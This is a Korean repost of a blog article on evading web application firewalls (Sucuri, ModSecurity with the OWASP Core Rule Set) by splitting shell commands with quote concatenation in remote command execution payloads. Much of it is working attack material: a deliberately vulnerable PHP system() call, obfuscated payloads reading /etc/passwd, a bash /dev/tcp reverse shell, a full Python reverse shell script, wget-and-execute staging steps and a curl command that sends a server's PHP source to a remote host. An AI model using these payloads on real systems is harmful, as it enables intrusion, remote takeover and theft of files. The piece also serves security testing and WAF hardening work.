반응형

원본 : https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0


=====================================


웹 어플리케이션 방화벽 (WAF) 회피 기술 #2

원격 명령어 실행 페이로드에서 문자열 연결은 당신에게 방화벽 규칙(Sucuri, ModSecurity)을 우회할 수 있도록 해준다. 




웹 방화벽 기술의 첫번째 파트에서, 우리는 와일드 카드, 특히 물음표 와일드카드를 사용하여 웹 방화벽 규칙을 어떻게 우회하는지를 보았다. 분명한건, 웹 방화벽 룰셋을 우회하는 또 다른 방법들은 많이 있고 각 공격마다 그들만의 특유한 회피 기술이 있다고 생각한다. 예를 들어: SQL Injection 페이로드 안에 주석 문법을 사용하는 것은 많은 필터를 우회할 수 있게 해준다. 내가 말한 건 union+select를 사용하는 것 대신에 당신은 이와 같은 것을 사용할 수 있다:


/?id=1+un/**/ion+sel/**/ect+1,2,3--


이것은 훌륭한 기술이고, 그것은 타겟 방화벽이 별표(*)와 하이픈(-) 문자를 허용하는 low paranoia level일 때 잘 작동한다. 이것은 Local File Inclusion 혹은 원격 명령어 실행을 실행하기 위해서는 사용할 수 없고 단지 SQL Injection에서만 적용될 것이다. 특정 시나리오에서, 원격 명령어 실행으로부터 웹 어플리케이션을 보호해야하는 웹 방화벽에게 "정말 악몽같은 것" 이 있는데... 그것은 연결된 문자열이라 불린다.


만약 당신이 이러한 회피 기술들 중 일부를 연습하고자 원한다면, 최근 hackthebox에 만들어놓은 의도적으로 취약한 가상 머신인 FluxCapacitor를 이용해라. 이 문서는 FluxCapacitor의 특정 시나리오를 해결할 수 있는 어느 힌트도 포함되어 있지 않지만 이런 기술에 대한 당신의 지식을 향상시켜줄 수 있다.


연결

많은 프로그래밍 언어에서, 문자열 연결은 이진법 이항 연산자이다. + (더하기) 연산자는 종종 문자열 연결을 의미하기 위해 오버로드된다: "Hello, " + "World" 는 값 "Hello, World"를 가진다. 다른 언어들에서는 일반 플러스에 대한 보다 복잡한 동작과는 달리 문자열에 대한 암시적 유형 변환을 지정하는 별도의 연산자가 있다. 예를 들어 펄과 PHP에는 .이 포함되어 있고, Lua에는 .. , 등등... 예를 들어:


$ php -r 'echo "hello"." world"."\n";'

hello world

$ python -c 'print "hello" + " world"'

hello world


그러나 만약 이것이 문자열 연결을 위한 유일한 방법이라 생각한다면, 당신은 틀림없이 잘못된 분이다.


Bash에서 / 문법을 찾을 수 있는 몇몇 언어들 특히 C, C++, 파이썬 그리고 스크립트 언어들에서는 어떠한 연산자 없이도 인접한 문자열 리터럴을 연결시켜주는 문자열 리터럴 연결이라 불리는 것이 있다: "Hello, " "World" 는 값 "Hello, World"를 가진다. 이것은 printf 그리고 echo 명령에서만 작동되는 것이 아니라 bash 문법 전체에서 작동한다. 처음부터 시작해보자.


아래의 각각의 명령어들은 모두 같은 결과를 가진다:


# echo test

# echo 't'e's't

# echo 'te'st

# echo 'te'st''

# echo 'te'''st''

# python -c 'print "te" "st"'


Bash와 파이썬을 이용한 연결된 문자열 테스트


이것은 모든 가까운 문자열 리터럴이 Bash에서 연결되기 때문에 발생하는 것이다.사실 'te's't' 는 세개의 문자열로 구성되어 있다 : 문자열 te, 문자열 s 그리고 문자열 t. 이 문법은 "일치하는 구문:에 기초한 필터(혹은 웹 방화벽 룰)을 우회할 때 사용될 수 있다. (예를 들어, ModSecurity에서 pm 연산자)


ModSecurity에서 SecRule ARGS "@pm passwd shadow groups"... 라는 룰은 아마 passwd 또는 shadow를 포함하는 모든 요청을 차단할 것이다. 그러나 만약 우리가 그것들을 pa'ss'wd 또는 sh'ad'ow로 전환한다면? 우리가 이전에 봤던 주석을 사용하여 분리된 SQLi 문법같은 경우와 같이, 우리는 싱글쿼터 ' 와 연결된 문자열 그룹 이용하여 파일명과 시스템 명령어를 분리할 수 있다. 물론, 당신은 어떠한 명령어의 인수든 연결된 문자열을 사용할 수 있을 뿐만 아니라, 심지어 Bash는 실행을 위해 경로까지 이어주는 것을 허용한다!


같은 명령어의 몇가지 예시이다 :


$ /bin/cat /etc/passwd

$ /bin/cat /e'tc/pa'ss'wd

$ /bin/c'at' /e'tc'/pa'ss'wd

$ /b'i'n/c'a't /e't'c/p'a's's'w'd'



cat 명령어의 인수로써 혹은 cat 실행을 위한 경로로써 연결된 문자열을 사용


이제, 당신이 어플리케이션의 url 파라미터에서 원격 명령 실행을 발견했을 때를 이야기해보자. 만약 "etc, passwd, shadow, 등등 ..."같은 문법을 차단하는 룰이 있을 때 당신은 이와 같은 몇가지를 이용하여 그것을 우회할 수 있다 :


curl .../?url=;+cat+/e't'c/pa'ss'wd


이제 몇가지 테스트를 만들어볼 차례다! 나는 Sucuri WAF 그리고 ModSecurity 뒤에서 테스트할 때 보통 아래의 PHP 코드를 사용한다. 아마도, 이 코드를 읽으면 당신은 이것이 너무나 멍청하고 심플하며 아무도 PHP의 curl 함수를 사용하는 것 대신에 system() 함수 안에서 curl을 사용하는 사람은 없을 것이라 생각할 것이다. 만약 당신이 그렇게 생각한다면, 당신은 나보다 더 좋은 세상에서 살고 있다! :) 생산된 어플리케이션의 소스코드에서 이러한 종류의 것들을 굉장히 많이 읽었다는 것에 당신은 놀랄 것이다. 내가 사용한 PHP 코드는 이와 같다 :


<?php


if ( isset($_GET['zzz']) {

system('curl -v '.$_GET['zzz']);

}


Sucuri WAF와 재미를 보세요

내가 생각하기에 이 두 글 이후 곧 Sucuri의 누군가가 나의 계정을 삭제시킬 것이라 생각한다. 그러나 나는 맹세한다: 나는 나의 ModSecurity와의 비교를 위해 Sucuri WAF를 사용할 것이다. 왜냐하면 내 생각에 하나가 다른 하나보다 더 낫다고 생각하지 않기 때문이다. Sucuri는 좋은 서비스를 가지고 있고 그것을 예시를 들기 위한 용도로써 사용하고 있다. 왜냐하면 그것은 널리 사용되고 있고 이 글을 읽은 모든 그들의 사용자들이 그들의 웹 어플리케이션이 이 기술을 더 잘 테스트할 수 있게 하기 위함이다.


가장 먼저, 나는 이 PHP 어플리케이션을 이용하여 파라미터 값의 인코딩 없이 google.com의 응답 body를 얻어 볼 것이다.


curl -v 'http://test1.unicresit.it/?zzz=google.com'


그것은 예상한대로 작동하여 google.com 320 page 가 말하듯이 나는 www.google.de로 따라갔다. (구글은 Frankfurt에 있는 나의 서버를 제대로 지리화하였다) :



이제, 이 취약한 어플리케이션을 exploit하기 위해 내가 할 수 있는 것들은 많다. 이것들 중 하나로 세미콜론 ; 과 함께 curl 문법을 깨고 또 다른 시스템 명령어를 실행하도록 해볼 것이다. Sucuri는 내가 /etc/passwd 파일을 일긍려고 하면 화를 낸다... 예를 들어 :


curl -v 'http://test1.unicresit.it/?zzz=;+cat+/etc/passwd'


아래와 같은 이유로 Sucuri 웹 방화벽에 의해 차단되었다 : "RFI/LFI 시도가 탐지되어 차단됩니다". 나는 Sucuri의 "RFI/LFI 시도" 룰이 이전에 우리가 봐왔던 것처럼 흔한 경로와 etc/passwd같은 파일명과 "일치하는 구문"같은 것을 사용하는 것이 아닐까라고 생각한다(사용자들은 Sucuri 웹 방화벽의 룰을 자세히 볼 수 없기 떄문에 단지 추측일 뿐이다). 이 웹 방화벽은 단지 두개의 싱글 쿼터를 사용하는 것으로 룰을 우회할 수 있는 매우 미니멀리스트한 룰 셋과 매우 낮은 "paranoia level"을 가지고 있다.


curl -v "http://test1.unicresit.it/?zzz=;+cat+/e'tc/pass'wd"


두개의 싱글 쿼터를 사용한 Sucuri 웹 방화벽 회피


나는 당신이 무엇을 생각하는지 안다 : "좋아, 너는 모든 웹 방화벽의 룰 셋을 우회하여 passwd 파일을 읽을 수 있어.. 하지만 현실에서, 더 큰, 가장 중요하고 모든 질문들의 엄마격인 : 심지어 Sucuri 웹 방화벽이 동작중이고 당신의 어플리케이션을 보호하는데도 쉘을 얻을 수 있어?" 당연히 가능하지! 오직 단 한가지 문제는 목표 container에 netcat이 설치되어 있지 않아 netcat을 사용할 수 없다는 것이다 : 나는 그것을 원격 명령 실행을 이용하여 체크하였다.


$curl -s "http://test.unicresit.it/?zzz=;+which+ls"

/bin/ls


$curl -s "http://test.unicresit.it/?zzz=;+which_nc"


$


(웹 방화벽에 의해 차단될 가능성이 있는 특수 문자 몇개를 이용한) 가장 쉬운 방법은 bash -i 명령어를 사용하는 것이다 : bash -i >& /dev/tcp/1.1.1.1/1337 0>&1, 그러나 불행히도 이 페이로드는 모든 룰 셋을 우회하기에는 너무 복잡하고 이는 그것을 포함하기 위해 PHP, Perl 또는 Python 코드를 사용하기에 어렵다는 것을 의미한다. Sucuri 웹 방화벽은 이와 같은 이유로 나의 시도를 차단한다 : 난독화된 공격 페이로드가 탐지되었다. 멋지다! 그렇지 않은가?


취약한 파라미터에 직접적으로 쉘을 얻기 위해 시도하는 것 대신에, curl 또는 wget을 사용하여 쓰기 가능한 디렉토리에 Python 리버스 쉘을 업로드 할 수 있다. 먼저, 파이썬 코드를 준비한다 vi shell.py  :


#!/usr/bin/python


import socket, subprocess,os;

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);

s.connect(("<my ip address>",2375));

os.dup2(s.fileno(),0);

os.dup2(s.fileno(),1);

os.dup2(s.fileno(),2);

p=subprocess.call(["/bin/sh","-i"]);


그럼 python -c SimpleHTTPServer 또는 php -S, 등등을 이용하여 목표로 부터 접근 가능한 웹서버를 노출시킨다. 그 뒤 타겟 웹사이트에서 shell.py 파일을 다운로드 받는데, 나는 아래 문법을 사용하였다:


curl -v '.../?zzz=<myip>:2375/shell.py+-o+/tmp/shell.py'


curl을 사용하여 업로드 된 shell


Sucuri 웹 방화벽을 통한 python reverse shell


좋다, Sucuri 웹 방화벽은 이 요청을 차단시키지 않았지만, 보통 ModSecurity는 이런 종류의 쓸데없는 짓을 차단한다 :) 만약 당신이 모든 "일치하는 구문" 룰을 확실히 우회하길 원한다면, 당신은 wget + ip를 long 형태로 변환 + 문자열 연결 을 사용할 수 있다.


.../?zzz=wg'e't 168431108 -P tmp

.../?zzz=c'hm'od 777 -R tmp

.../?zzz=t'm'p/index.html


wget을 사용한 첫번째 명령은 /tmp/ 안에 있는 shell 파일을 다운받기 위한 것이다. chmod를 사용한 두번째는 그것을 실행가능하도록 만들고 세번째는 그것을 실행한다. 당신이 볼 수 있듯이, wget 명령어 요청에 특정한 파일이 있지 않고, 그래서 wget으로 다운받은 파일을 index.html로 이름지을 수 있다. 당신은 다음과 같이 netcat nc 를 이용하여 직접 응답 헤더와 응답 body를 작성함으로써 이 파일을 노출할 수 있다.


RCE로부터의 HTTP 요청에 대답하기 위해 netcat을 사용


이제 가장 어려운 부분이다...


ModSecurity 그리고 OWASP Core Rule Set 우회

아마도 low paranoia level에서는 우리가 첫번째 글에서 봤던 기술을 이용하여 OWASP Core Rule Set을 우회할 수 있을 것이라고 당신은 생각하고 있을 것이다... 흠 근본적으로 안된다. 왜냐하면 normalizePathcmdLine이라 불리는 작은 두가지 때문이다. ModSecurity에서 그들은 "변형 함수"라 부르고 일치에 사용되기 전에 입력 데이터를 변화시킬 때 사용된다(예를 들어, 연산자 실행). 입력 데이터는 절대 수정되지 않는다. ModSecurity는 데이터의 복사본을 만들고, 그것을 변형 시킨 뒤, 그 결과로 연산자를 실행할 것이다.


normalizePath : 그것은 입력 문자의 다수의 슬래시들, 디렉토리 자기 참조, 그리고 디렉토리 이전 참조 (입력의 시작일 때를 제외하고)들을 제거한다.


cmdLine : 아마 당신의 모든 모의해킹 꿈을 부술 것이다 :) Marc Stern에 의해 개발된, 이 변형 함수는 파라미터의 값을 정상화시킴으로써 회피 시퀀스를 방지하고, LFI, RCE, Unix 명령어, 등등과 같은 모든 규칙을 촉발시킨다... 예를 들어 /e't'c/pa'ss'wd는 어떠한 규칙 평가 전에 /etc/passwd로 정상화된다. 그것은 더 많은 것들은 한다! 이와 같은 :


● 모든 백슬래시를 삭제 \

● 모든 더블쿼터를 삭제 "

● 모든 싱글쿼터를 삭제 '

● 모든 탈자 기호를 삭제 ^

● 슬래시 전의 공백을 삭제 /

● 여는 괄호 전의 공백을 삭제 (

● 모든 쉼표 , 와 세미콜론 ; 을 공백으로 변경 

● 모든 다수의 공백 (탭,새로운 줄, 등등을 포함)을 하나의 공백으로 변경

● 모든 문자를 소문자로 변형


연결된 문자열과 함께 RCE를 이용하기 위한 모든 시도는 cmdLine 변형 함수 때문에 932160 규칙에 의거하여 차단되었다:


Matched "Operator `PmFromFile' with parameter `unix-shell.data' against variable `ARGS:zzz' (Value: ` cat /e't'c/pa'ss'wd' )"


"o5,10v10,20t:urlDecodeUni,t:cmdLine,t:normalizePath,t:lowercase"


"ruleId":"932160"


좋다, 나는 /etc/passwd를 읽을 수 없지만 절망하지 않는다! OWASP Core Rule Set은 그들을 차단하기 위해 흔한 파일, 경로, 그리고 명령어를 알지만 그것은 목표 어플리케이션의 소스코드와 같지 않을 수 있다. 나는 세미콜론 문자 ; 를 사용할 수 없지만(그리고 이는 curl 문법을 깰 수 없다는 것을 의미하기도 한다) 나는 파일을 빼내어서 나의 원격 서버로 보내기 위해 curl을 사용할 수 있다. 이것은 paranoia level 0부터 3까지 작동한다.


이 트릭은 원격 서버로 보내기 위한 파일을 POST HTTP 요청의 요청 body에 넣는 것으로, curl은 data 파라미터 -d 를 사용하는 것으로 이를 할 수 있다 : 


curl -d @/<file> <remote server>


아래의 요청을 보면, @를 %40으로 인코딩하였다 :


curl ".../?zzz=-d+%40/usr/local/.../index.php+1.1.1.1:1337"


(ModSecurity 뒤에 있는) 목표 어플리케이션으로부터 원격 서버로 PHP 파일을 빼냄 


이 모든 것은 목표가 paranoia level이 4로 설정되어 있으면 payload가 하이픈, 슬래시, 등등같은 문자가 포함되어 있기 때문에 작동하지 않을 것이다. 좋은 소식은 제품 환경에서 paranoia level이 4로 되어있는 것은 굉장히 드물다는 것이다.


백슬래시는 새로운 싱글 쿼터이다 :)

같은 기술은 백슬래시 문자 \ 를 사용하는 것으로도 작동한다. 이것은 연결 문자열이 아니라 회피 시퀀스이다.


지금은 이게 다이다. 아주 길었고 관심을 가져줘서 고맙다.


- theMiddle


유용한 링크들

Positive Technology에 의한 웹 방화벽 우회

https://www.ptsecurity.com/upload/corporate/ww-en/download/PT-devteev-CC-WAF-ENG.pdf


웹 어플리케이션 방화벽: 공격 참지 로직 메커니즘 by Vladimir lvanov ( USA 2016 블랙헷) 

https://www.blackhat.com/docs/us-16/materials/us-16-Ivanov-Web-Application-Firewalls-Analysis-Of-Detection-Logic.pdf


OWASP에서 SQLi 웹 방화벽 우회 by Dhiraj Mishra

https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF


고마운 사람들

FluxCapacitor과 notably에 대한 그들의 접근 방식을 나와 공유한 모든 HTB 사용자들 : arkantolo, snowscan, decoder, phra


연락처

Andrea (theMiddle) Menin

Twitter : https://twitter.com/Menin_TheMiddle

GitHub : https://github.com/theMiddleBlue

Linkedin : https://www.linkedin.com/in/andreamenin/

반응형

'Hacking > Web' 카테고리의 다른 글

[root-me] File upload - ZIP  (0) 2018.07.01
S3 bucket 대응방안  (0) 2018.06.04
Web Application Firewall (WAF) Evasion Techniques  (0) 2018.06.03
[SuNiNaTaS] 22번 문제  (0) 2018.05.10
sql injection using md5  (0) 2018.05.09
블로그 이미지

rootable

,